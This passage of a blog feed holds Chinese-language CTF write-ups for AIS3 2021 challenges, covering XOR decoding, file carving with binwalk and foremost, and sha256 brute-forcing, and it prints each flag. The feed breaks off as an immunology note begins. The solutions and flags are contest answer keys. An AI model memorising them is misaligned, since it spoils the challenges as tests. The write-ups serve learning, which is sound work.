class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// piano.Piano</span></span><br><span class="line"><span class="comment">// Token: 0x06000004 RID: 4 RVA: 0x0000236C File Offset: 0x0000056C</span></span><br><span class="line"><span class="function"><span class="keyword">private</span> <span class="built_in">string</span> <span class="title">nya</span>()</span></span><br><span class="line">&#123;</span><br><span class="line">List&lt;<span class="built_in">int</span>&gt; list = <span class="keyword">new</span> List&lt;<span class="built_in">int</span>&gt;</span><br><span class="line">&#123;</span><br><span class="line"><span class="number">70</span>,</span><br><span class="line"><span class="number">78</span>,</span><br><span class="line"><span class="number">89</span>,</span><br><span class="line"><span class="number">57</span>,</span><br><span class="line"><span class="number">112</span>,</span><br><span class="line"><span class="number">60</span>,</span><br><span class="line"><span class="number">125</span>,</span><br><span class="line"><span class="number">96</span>,</span><br><span class="line"><span class="number">103</span>,</span><br><span class="line"><span class="number">104</span>,</span><br><span class="line"><span class="number">50</span>,</span><br><span class="line"><span class="number">109</span>,</span><br><span class="line"><span class="number">87</span>,</span><br><span class="line"><span class="number">115</span>,</span><br><span class="line"><span class="number">112</span>,</span><br><span class="line"><span class="number">54</span>,</span><br><span class="line"><span class="number">100</span>,</span><br><span class="line"><span class="number">97</span>,</span><br><span class="line"><span class="number">103</span>,</span><br><span class="line"><span class="number">56</span>,</span><br><span class="line"><span class="number">85</span>,</span><br><span class="line"><span class="number">101</span>,</span><br><span class="line"><span class="number">56</span>,</span><br><span class="line"><span class="number">119</span>,</span><br><span class="line"><span class="number">119</span>,</span><br><span class="line"><span class="number">100</span>,</span><br><span class="line"><span class="number">59</span>,</span><br><span class="line"><span class="number">88</span>,</span><br><span class="line"><span class="number">50</span>,</span><br><span class="line"><span class="number">48</span>,</span><br><span class="line"><span class="number">62</span>,</span><br><span class="line"><span class="number">120</span>,</span><br><span class="line"><span class="number">84</span>,</span><br><span class="line"><span class="number">58</span>,</span><br><span class="line"><span class="number">100</span>,</span><br><span class="line"><span class="number">86</span>,</span><br><span class="line"><span class="number">74</span>,</span><br><span class="line"><span class="number">92</span>,</span><br><span class="line"><span class="number">54</span>,</span><br><span class="line"><span class="number">96</span>,</span><br><span class="line"><span class="number">60</span>,</span><br><span class="line"><span class="number">117</span>,</span><br><span class="line"><span class="number">119</span>,</span><br><span class="line"><span class="number">122</span></span><br><span class="line">&#125;;</span><br><span class="line">List&lt;<span class="built_in">char</span>&gt; list2 = <span class="keyword">new</span> List&lt;<span class="built_in">char</span>&gt;();</span><br><span class="line"><span class="keyword">for</span> (<span class="built_in">int</span> i = <span class="number">0</span>; i &lt; list.Count; i++)</span><br><span class="line">&#123;</span><br><span class="line">list2.Add((<span class="built_in">char</span>)(list[i] ^ <span class="keyword">this</span>.notes[i % <span class="keyword">this</span>.notes.Count]));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">new</span> <span class="built_in">string</span>(list2.ToArray());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>觀察一下兩個$function$的關係，發現利用<code>isValid()</code>的條件可以算出 notes 的值，然後送到<code>nya()</code>可以把 flag 計算出來，那就寫個程式來實作就完成了。</p><p>先手動算出 notes 的值(很簡單啦不需要程式 XD):</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;7,7,10,10,11,11,10,9,9,3,3,8,8,7,7&#125;</span><br></pre></td></tr></table></figure><p>接著套入<code>nya()</code>邏輯:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;bits/stdc++.h&gt;</span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> k[<span class="number">100</span>]=&#123;   <span class="number">70</span>,</span><br><span class="line"><span class="number">78</span>,</span><br><span class="line"><span class="number">89</span>,</span><br><span class="line"><span class="number">57</span>,</span><br><span class="line"><span class="number">112</span>,</span><br><span class="line"><span class="number">60</span>,</span><br><span class="line"><span class="number">125</span>,</span><br><span class="line"><span class="number">96</span>,</span><br><span class="line"><span class="number">103</span>,</span><br><span class="line"><span class="number">104</span>,</span><br><span class="line"><span class="number">50</span>,</span><br><span class="line"><span class="number">109</span>,</span><br><span class="line"><span class="number">87</span>,</span><br><span class="line"><span class="number">115</span>,</span><br><span class="line"><span class="number">112</span>,</span><br><span class="line"><span class="number">54</span>,</span><br><span class="line"><span class="number">100</span>,</span><br><span class="line"><span class="number">97</span>,</span><br><span class="line"><span class="number">103</span>,</span><br><span class="line"><span class="number">56</span>,</span><br><span class="line"><span class="number">85</span>,</span><br><span class="line"><span class="number">101</span>,</span><br><span class="line"><span class="number">56</span>,</span><br><span class="line"><span class="number">119</span>,</span><br><span class="line"><span class="number">119</span>,</span><br><span class="line"><span class="number">100</span>,</span><br><span class="line"><span class="number">59</span>,</span><br><span class="line"><span class="number">88</span>,</span><br><span class="line"><span class="number">50</span>,</span><br><span class="line"><span class="number">48</span>,</span><br><span class="line"><span class="number">62</span>,</span><br><span class="line"><span class="number">120</span>,</span><br><span class="line"><span class="number">84</span>,</span><br><span class="line"><span class="number">58</span>,</span><br><span class="line"><span class="number">100</span>,</span><br><span class="line"><span class="number">86</span>,</span><br><span class="line"><span class="number">74</span>,</span><br><span class="line"><span class="number">92</span>,</span><br><span class="line"><span class="number">54</span>,</span><br><span class="line"><span class="number">96</span>,</span><br><span class="line"><span class="number">60</span>,</span><br><span class="line"><span class="number">117</span>,</span><br><span class="line"><span class="number">119</span>,</span><br><span class="line"><span class="number">122</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> n[<span class="number">15</span>]=&#123;<span class="number">7</span>,<span class="number">7</span>,<span class="number">10</span>,<span class="number">10</span>,<span class="number">11</span>,<span class="number">11</span>,<span class="number">10</span>,<span class="number">9</span>,<span class="number">9</span>,<span class="number">3</span>,<span class="number">3</span>,<span class="number">8</span>,<span class="number">8</span>,<span class="number">7</span>,<span class="number">7</span>&#125;;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>;i&lt;<span class="number">50</span>;i++)&#123;</span><br><span class="line">cout&lt;&lt;<span class="built_in">char</span>(k[i]^n[i%<span class="number">14</span>]);</span><br><span class="line">&#125;</span><br><span class="line">cout&lt;&lt;endl;</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>FLAG:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AIS3&#123;7wink1e_tw1nkl3_l1ttl3_574r_1n_C_5h4rp&#125;</span><br></pre></td></tr></table></figure><p>P.S. 所以用 C#調彈小星星真的可以拿到 flag 喔~XD<br><img src="https://i.imgur.com/xU0s8Qn.png"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;今年第一次參加 AIS3 Pre-exam，之前有先看過一些別人寫的 Write Ups，發現今年的解題想法好像差蠻多的 TAT，今年成績第 71 名，算在錄取邊緣，期待明年我能表現更好囉!&lt;/p&gt;
&lt;p&gt;這裡就來整理一下我賽中跟賽後有解出的題目吧!如果覺得有問題的話可以在</summary>
      
    
    
    
    <category term="Computer Science" scheme="http://blog.albert-web.tw/categories/Computer-Science/"/>
    
    
    <category term="AIS3" scheme="http://blog.albert-web.tw/tags/AIS3/"/>
    
    <category term="Security" scheme="http://blog.albert-web.tw/tags/Security/"/>
    
    <category term="CTF" scheme="http://blog.albert-web.tw/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title>2021 MyFirstCTF Write Up</title>
    <link href="http://blog.albert-web.tw/2021/06/06/myfirstctf-2021/"/>
    <id>http://blog.albert-web.tw/2021/06/06/myfirstctf-2021/</id>
    <published>2021-06-06T14:08:29.000Z</published>
    <updated>2026-04-26T11:19:12.712Z</updated>
    
    <content type="html"><![CDATA[<p>這次也參加了 AIS3 的 MyFirstCTF 競賽，裡面是一些 AIS3 的題目跟額外的 baby 友善題(結果賽中都解 baby 題 QAQ)，好像蠻少人在打 MyFirstCTF 的 Write Up 的，就來整理一下吧~不過好像比較多梗題的部分(O</p><p>P.S. 但是因為大部分的東西都被我刪了所以可能有點簡略敬請見諒 QAQ</p><p>這次的成績 17 名+兩題首殺~好像很普通 w</p><p><img src="https://i.imgur.com/NtHPsgc.png"></p><h1 id="MISC"><a href="#MISC" class="headerlink" title="MISC"></a>MISC</h1><h2 id="Cat-Slayer-ᶠᵃᵏᵉ-Nekogoroshi"><a href="#Cat-Slayer-ᶠᵃᵏᵉ-Nekogoroshi" class="headerlink" title="Cat Slayer ᶠᵃᵏᵉ | Nekogoroshi"></a>Cat Slayer ᶠᵃᵏᵉ | Nekogoroshi</h2><p>這題跟 AIS3 Pre-exam 是一樣的題目，直接複製 XD</p><p>題目給了一行 command</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">TERM=xterm-256color ssh -p 5566 h173@quiz.ais3.org</span><br></pre></td></tr></table></figure><p>把它拿到 Terminal 執行後可以發現他跳出了一個 Python 的執行畫面，用鍵盤可以輸入數字，輸入錯誤會鎖起來，因此可以用手動的輸入猜密碼，得到正確的密碼就可以解鎖 flag。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Password: 202583045529</span><br></pre></td></tr></table></figure><p>FLAG:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AIS3&#123;H1n4m1z4w4_Sh0k0gun&#125;</span><br></pre></td></tr></table></figure><h2 id="祝賀-新垣結衣新婚快樂-發錢囉-baby"><a href="#祝賀-新垣結衣新婚快樂-發錢囉-baby" class="headerlink" title="[祝賀] 新垣結衣新婚快樂 發錢囉 [baby]"></a>[祝賀] 新垣結衣新婚快樂 發錢囉 [baby]</h2><blockquote><p>Bonus : First Blood</p></blockquote><p>這題給了一張圖片，看起來像是 forensics，所以先用一些例如 zsteg 或 online tool 之類的工具試了一下，後來用 binwalk 試了一下發現裡面包了一個 zip 檔。</p><p><img src="https://i.imgur.com/g264BDQ.jpg"></p><p>P.S. 是新垣結衣欸~</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">$ binwalk baby.png</span><br><span class="line"></span><br><span class="line">DECIMAL       HEXADECIMAL     DESCRIPTION</span><br><span class="line">--------------------------------------------------------------------------------</span><br><span class="line">0             0x0             PNG image, 1200 x 675, 8-bit/color RGB, non-interlaced</span><br><span class="line">179           0xB3            Zlib compressed data, best compression</span><br><span class="line">1511327       0x170F9F        End of Zip archive</span><br></pre></td></tr></table></figure><p>所以用 foremost 把裡面的東西拉出來。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$ foremost baby.png -o baby</span><br><span class="line">Processing: baby.png</span><br><span class="line">|foundat=awertyjas‮qrmnk‮.pngt�w4����?�ik�</span><br><span class="line">m��T�ԦZ&#123;�ڵ�J���F�U�k�=�P����&amp;VlAD��z�&gt;�?��|Ϲ�x:�p?������&#125;ߏ�k�+RS0S</span><br><span class="line">*|</span><br></pre></td></tr></table></figure><p>接下來到<code>/baby</code>可以發現一個<code>00001726.zip</code>，裡面有一張圖片，推測應該是 flag，但是 local 需要密碼解鎖，猜了幾個常用密碼跟照片名還是錯誤，所以開始找 online tool。</p><p><img src="https://i.imgur.com/IJQc2PA.png"></p><p>非常幸運的是我<a href="https://www.ezyzip.com/unzip-files-online.html">第一個使用的網站</a>就讓我解開了，而且不需要密碼~</p><p>P.S. 這題應該是偽加密，但是我其實到現在還是沒搞懂它的原理是什麼 XXD</p><p><img src="https://i.imgur.com/fIGvBh8.png"></p><p>P.S. 是星野源欸~</p><p>FLAG:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AIS3&#123;看好了世界，我只示範一次如何一天搶走幾億人的老婆&#125;</span><br></pre></td></tr></table></figure><blockquote><p>結果新垣結衣跟星野源還是結婚了~</p></blockquote><h1 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h1><h2 id="Copy-amp-Paste-baby"><a href="#Copy-amp-Paste-baby" class="headerlink" title="Copy &amp; Paste [baby]"></a>Copy &amp; Paste [baby]</h2><p>這題給了一個奇怪的黑色網站，有一個 flag 按鈕，按下去之後會顯示個幾秒 flag 之後消失。但是，他的 flag 大到我只看到中間部分，沒辦法送啊?</p><p>按了 F12 之後看一下發現他好像用算的把螢幕高度 anchor 住了，所以我的螢幕不夠長就看不到完整的 flag。那有什麼方法可以讓完整的 flag 顯示出來?</p><p>後來腦洞大開把瀏覽器壓扁之後，他的 height 變小，我就可以看到完整的 flag 了!</p><p>P.S. 通靈用在這裡是正確的(O</p><p><img src="https://i.imgur.com/CrzUGc1.png"></p><p>FLAG:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AIS3&#123;Re33Ee3E33e3eEEe3eE3El11I1l1i11y_lo0O0oo00o00oOC0OOoo00o0Oo0O0o0Ooo0Oo0oo0Oo0OOOO000OO0ng_f1aG&#125;</span><br></pre></td></tr></table></figure><p>P.S. 所以我還是不知道怎麼複製貼上 w 而且這個 flag 我打好久 QQ<br>不過還好手打，賽後用 OCR 跑出來的是錯的啦= =</p><h1 id="Crypto"><a href="#Crypto" class="headerlink" title="Crypto"></a>Crypto</h1><h2 id="Judgement-baby"><a href="#Judgement-baby" class="headerlink" title="Judgement [baby]"></a>Judgement [baby]</h2><p>這題的題目很簡潔，只有一個<code>Judgement.py</code>跟一個<code>output.txt</code>。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> hashlib <span class="keyword">import</span> sha256</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line">flag = <span class="string">&#x27;AIS3&#123;THIS_IS_A_FAKE_FLAG&#125;&#x27;</span></span><br><span class="line"></span><br><span class="line">cand = string.ascii_letters + string.digits + <span class="string">&#x27;_&#123;&#125;&#x27;</span></span><br><span class="line">charset = string.printable[:<span class="number">93</span>]</span><br><span class="line"></span><br><span class="line">enc = <span class="string">&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">for</span> c <span class="keyword">in</span> flag:</span><br><span class="line"><span class="keyword">assert</span>(c <span class="keyword">in</span> cand)</span><br><span class="line">enc  += charset[<span class="built_in">int</span>(sha256(c.encode()).hexdigest(), <span class="number">16</span>) % <span class="built_in">len</span>(charset)]</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(enc)</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">)g;Fk@&gt;2g;2V2J?d5G3_8V2&lt;dR2i5GZ@&lt;?2)g\j_2V&amp;?2;@[F@ek2_3&quot;=k&amp;;2)\F2J9LL4g[W2&quot;[2&lt;)RZ23@&lt;?2elFZ?2=@jZ23@=F2Yi52;lL5Vj2J?2J8\e@eW23e2lF330</span><br></pre></td></tr></table></figure><p>第一個想法是逆推，但是它裡面用了 sha256 加密，所以也沒辦法直接逆推，只好用順向搜尋的方式解題。</p><p>但因為他取 sha256 加密後的某個位置數字的對應字元，逆推後並不只一種可能性，所以我們用不同的 ascii 碼範圍搜尋可能字元後，因為題目提及 flag 符合文法與 leet 語法，再用手動來把 flag 拼出來。</p><p>先把爆搜的程式寫出來。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> hashlib <span class="keyword">import</span> sha256</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"></span><br><span class="line">g=<span class="string">&quot;)g;Fk@&gt;2g;2V2J?d5G3_8V2&lt;dR2i5GZ@&lt;?2)g\j_2V&amp;?2;@[F@ek2_3\&quot;=k&amp;;2)\F2J9LL4g[W2\&quot;[2&lt;)RZ23@&lt;?2elFZ?2=@jZ23@=F2Yi52;lL5Vj2J?2J8\e@eW23e2lF330&quot;</span></span><br><span class="line">s=<span class="string">&quot;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\&quot;#$%&amp;&#x27;()*+,-./:;&lt;=&gt;?@[\]^_`&#123;|&#125;&quot;</span></span><br><span class="line"><span class="comment"># s=cand</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">133</span>):</span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">127</span>,<span class="number">64</span>,-<span class="number">1</span>): <span class="comment"># range(65,128), range(48,128)</span></span><br><span class="line">        <span class="keyword">if</span> s[<span class="built_in">int</span>(sha256(<span class="built_in">chr</span>(j).encode()).hexdigest(),<span class="number">16</span>)%<span class="number">93</span>]==g[i]:</span><br><span class="line">            <span class="built_in">print</span>(<span class="built_in">chr</span>(j),end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">            <span class="keyword">break</span></span><br></pre></td></tr></table></figure><p>跑出了三種結果:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">AISv&#123;iX_IS_M_BeautqM_day_~utside_AIr|q_MRe_SiNvin&#123;_qow&#123;RS_Arv_BlOOmIN_oN_dAys_ide_nhvse_wi|s_iwv_Y~u_ShOuM|_Be_Brnin_n_hv&#125;</span><br><span class="line">AISGEiT_IS_L_BeaZtFUL_Kay_~ZtsiKe_AIrDF_LRe_SiNGinE_FoQERS_ArG_BlOOmIN_oN_KAys_iKe_nhGse_QiDs_iQG_Y~Z_ShOZLD_Be_BUrnin_n_hG&#125;</span><br><span class="line">8IS39iT_IS_4_BeaZ215=4_Kay_0Z2siKe_8IrD5_4Re_SiN3i79_51oQ9RS_8r3_BlOO@IN6_oN_K8ys_1iKe_7h3se_QiDs_1iQ3_Y0Z_ShOZ4D_Be_B=r7i76_17_h311&#125;</span><br></pre></td></tr></table></figure><p>剩下就是手動拼組了，不過可以確定 range(48,128)的字串長度必定為 flag 長度，因其包含了所有 flag 可能字元。</p><p>FLAG:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AIS3&#123;iT_IS_4_Beaut1FUL_day_0utside_8IrD5_4Re_SiNGin9_F1owERS_Ar3_BlOOmIN6_oN_dAys_1iKe_7h3se_kiDs_1ik3_Y0u_ShOuLD_Be_BUrnin6_1n_h311&#125;</span><br></pre></td></tr></table></figure><p>P.S.我拼了 1.5hr 錯了 10 次才對，1t’s 4 re41 h31l…</p><h1 id="Reverse"><a href="#Reverse" class="headerlink" title="Reverse"></a>Reverse</h1><h2 id="COVID-①⑨-baby"><a href="#COVID-①⑨-baby" class="headerlink" title="ⒸⓄⓋⒾⒹ-①⑨ [baby]"></a>ⒸⓄⓋⒾⒹ-①⑨ [baby]</h2><blockquote><p>Bonus : First Blood</p></blockquote><p>這題直接給了一個 x64 的 task.elf 檔，既然是 reverse 就直接用 IDA Pro 打開吧~</p><p>Decompile 之後先看看 main，沒有找到什麼可以用的東西，function 多到暈頭轉向，看到的東西只有<code>YOU WIN!</code>…</p><p><img src="https://i.imgur.com/uIRgngL.png"></p><p>不過在裡面發現了一個可疑的 function<code>check_flag_is_correct(char *)</code>，進去看看 decompile 的內容。</p><p><img src="https://i.imgur.com/yQDTxXZ.png"></p><p>看起來是個判斷傳入字串是否符合條件的函數，點進 target 發現有一串數字。</p><p><img src="https://i.imgur.com/XICIwSx.png"></p><p>看來是把這些數字拿來比對運算結果，所以我們就把條件判斷爆搜字串之後就可以拿到 flag 了。</p><p>寫個程式來把 flag 爆搜出來。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;bits/stdc++.h&gt;</span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> p[<span class="number">32</span>]=&#123;<span class="number">65</span>,  <span class="number">72</span>,  <span class="number">81</span>,  <span class="number">48</span>, <span class="number">127</span>,  <span class="number">48</span>,  <span class="number">49</span>,  <span class="number">51</span>, <span class="number">113</span>,  <span class="number">86</span>,</span><br><span class="line">   <span class="number">98</span>,  <span class="number">59</span>,  <span class="number">97</span>,  <span class="number">62</span>, <span class="number">114</span>, <span class="number">120</span>,  <span class="number">35</span>,  <span class="number">37</span>,  <span class="number">96</span>,  <span class="number">76</span>,</span><br><span class="line">  <span class="number">121</span>,  <span class="number">33</span>,  <span class="number">35</span>, <span class="number">124</span>, <span class="number">101</span>&#125;;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>;i&lt;<span class="number">32</span>;i++)&#123;</span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> j=<span class="number">0</span>;;j++)&#123;</span><br><span class="line"><span class="keyword">if</span>(<span class="built_in">char</span>(<span class="built_in">char</span>(j)^i)==<span class="built_in">char</span>(p[i]))&#123;</span><br><span class="line">cout&lt;&lt;<span class="built_in">char</span>(j);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>FLAG:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AIS3&#123;574y_h0m3|w34r_m45k&#125;</span><br></pre></td></tr></table></figure><p>P.S. 賽後發現 xor 算法可以直接算出 flag，不需要爆搜，比賽的時候沒想好繞了一圈…</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;bits/stdc++.h&gt;</span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> p[<span class="number">32</span>]=&#123;<span class="number">65</span>,  <span class="number">72</span>,  <span class="number">81</span>,  <span class="number">48</span>, <span class="number">127</span>,  <span class="number">48</span>,  <span class="number">49</span>,  <span class="number">51</span>, <span class="number">113</span>,  <span class="number">86</span>,</span><br><span class="line">   <span class="number">98</span>,  <span class="number">59</span>,  <span class="number">97</span>,  <span class="number">62</span>, <span class="number">114</span>, <span class="number">120</span>,  <span class="number">35</span>,  <span class="number">37</span>,  <span class="number">96</span>,  <span class="number">76</span>,</span><br><span class="line">  <span class="number">121</span>,  <span class="number">33</span>,  <span class="number">35</span>, <span class="number">124</span>, <span class="number">101</span>&#125;;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>;i&lt;<span class="number">32</span>;i++)&#123;</span><br><span class="line">cout&lt;&lt;<span class="built_in">char</span>(i^p[i]);</span><br><span class="line">&#125;</span><br><span class="line">cout&lt;&lt;endl;</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;這次也參加了 AIS3 的 MyFirstCTF 競賽，裡面是一些 AIS3 的題目跟額外的 baby 友善題(結果賽中都解 baby 題 QAQ)，好像蠻少人在打 MyFirstCTF 的 Write Up 的，就來整理一下吧~不過好像比較多梗題的部分(O&lt;/p&gt;
&lt;p&gt;</summary>
      
    
    
    
    <category term="Computer Science" scheme="http://blog.albert-web.tw/categories/Computer-Science/"/>
    
    
    <category term="AIS3" scheme="http://blog.albert-web.tw/tags/AIS3/"/>
    
    <category term="Security" scheme="http://blog.albert-web.tw/tags/Security/"/>
    
    <category term="CTF" scheme="http://blog.albert-web.tw/tags/CTF/"/>
    
    <category term="MyFirstCTF" scheme="http://blog.albert-web.tw/tags/MyFirstCTF/"/>
    
  </entry>
  
  <entry>
    <title>漫談免疫學BLOG筆記-Day II</title>
    <link href="http://blog.albert-web.tw/2021/06/03/Immune-2/"/>
    <id>http://blog.albert-web.tw/2021/06/03/Immune-2/</id>
    <published>2021-06-03T19:26:24.000Z</published>
    <updated>2026-04-26T11:19:12.708Z</updated>
    
    <content type="html"><![CDATA[<p>這篇接續了上篇，延續了 TNF-$\alpha$的話題，但接著把病理學帶進了文章中。一起來看看~</p><h1 id="TNF-alpha"><a href="#TNF-alpha" class="headerlink" title="TNF-$\alpha$"></a>TNF-$\alpha$</h1><p>TNF-$\alpha$是維持免疫熱度最重要的 cytokine，在正常情況下含量並不多，但細菌感染後含量會逐漸升高。教授在這裡將免疫熱度分為 5 個層次:</p><table><thead><tr><th align="center">免疫熱度</th><th align="center">症狀</th></tr></thead><tbody><tr><td align="center">1</td><td align="center">正常情況</td></tr><tr><td align="center">2</td><td align="center">稍有微小狀況</td></tr><tr><td align="center">3</td><td align="center">人體產生不適情況</td></tr><tr><td align="center">4</td><td align="center">高燒不退</td></tr><tr><td align="center">5</td><td align="center"><strong>敗血症(septicemia)</strong></td></tr></tbody></table><h1 id="Supplement-Septicemia"><a href="#Supplement-Septicemia" class="headerlink" title="Supplement : Septicemia"></a>Supplement : Septicemia</h1><p>Septicemia 與 Sepsis 雖翻譯上都指敗血症，但事實上其中有所不同，sepsis 指嚴重化的 septicemia 